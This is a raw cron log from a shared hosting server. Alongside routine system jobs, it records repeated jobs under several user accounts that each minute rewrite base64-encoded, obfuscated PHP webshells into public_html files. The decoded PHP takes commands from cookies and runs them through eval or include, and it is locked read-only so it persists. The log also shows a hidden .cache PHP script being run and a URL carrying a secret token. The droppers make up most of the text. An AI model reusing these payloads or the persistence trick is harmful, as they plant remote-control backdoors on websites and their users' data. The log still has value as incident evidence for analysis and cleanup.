Mar  1 20:02:01 medusa CROND[24465]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:02:01 medusa CROND[24466]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:03:01 medusa CROND[30292]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:03:01 medusa CROND[30442]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:03:01 medusa CROND[30443]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:03:01 medusa CROND[30445]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 20:03:01 medusa CROND[30447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:03:01 medusa CROND[30448]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:03:01 medusa CROND[30446]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:03:01 medusa CROND[30453]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:03:01 medusa CROND[30452]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:03:01 medusa CROND[30455]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:03:01 medusa CROND[30454]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:03:01 medusa CROND[30457]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:04:01 medusa CROND[8329]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 20:04:01 medusa CROND[8439]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:04:01 medusa CROND[8440]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:04:01 medusa CROND[8441]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:04:01 medusa CROND[8442]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:04:01 medusa CROND[8443]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:04:01 medusa CROND[8444]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:04:01 medusa CROND[8445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:04:01 medusa CROND[8446]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 20:04:01 medusa CROND[8449]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:04:01 medusa CROND[8452]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:04:01 medusa CROND[8466]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:04:01 medusa CROND[8471]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:05:01 medusa CROND[17152]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:05:01 medusa CROND[17155]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 20:05:01 medusa CROND[17241]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 20:05:01 medusa CROND[17387]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 20:05:01 medusa CROND[17389]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 20:05:01 medusa CROND[17390]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 20:05:01 medusa CROND[17397]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
